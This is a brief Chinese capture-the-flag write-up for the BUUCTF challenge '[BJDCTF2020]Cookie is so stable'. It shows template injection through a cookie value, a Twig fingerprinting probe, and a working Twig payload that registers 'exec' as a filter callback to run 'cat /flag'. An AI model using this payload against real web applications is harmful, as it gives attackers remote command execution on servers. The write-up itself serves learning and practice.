web buuctf [BJDCTF2020]Cookie is so stable

1.

2.查看hint页面源代码，提示关键在cookie

3.用admin登录，之后刷新抓包，发现cookie:

UM_distinctid=17df970999f4d4-04704e6be3f571-4c3e207f-e1000-17df97099a05d4; PHPSESSID=c8ca1d92349dffef8879d35029b3eeb0; user=admin

第一个是友盟的,主要看cookie中的user

4.cookie中的注入，我第一个想法就是ssti（模板注入）

payload:user={{2*3}}

输入{{7*'7'}}，返回49表示是 Twig 模块(ps:返回7777777表示是 Jinja2 模块)

5.在Twig来说，其变量_self暴露了Twig内部的许多API，可以利用payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

这个记住就好了，是回调执行命令

得到flag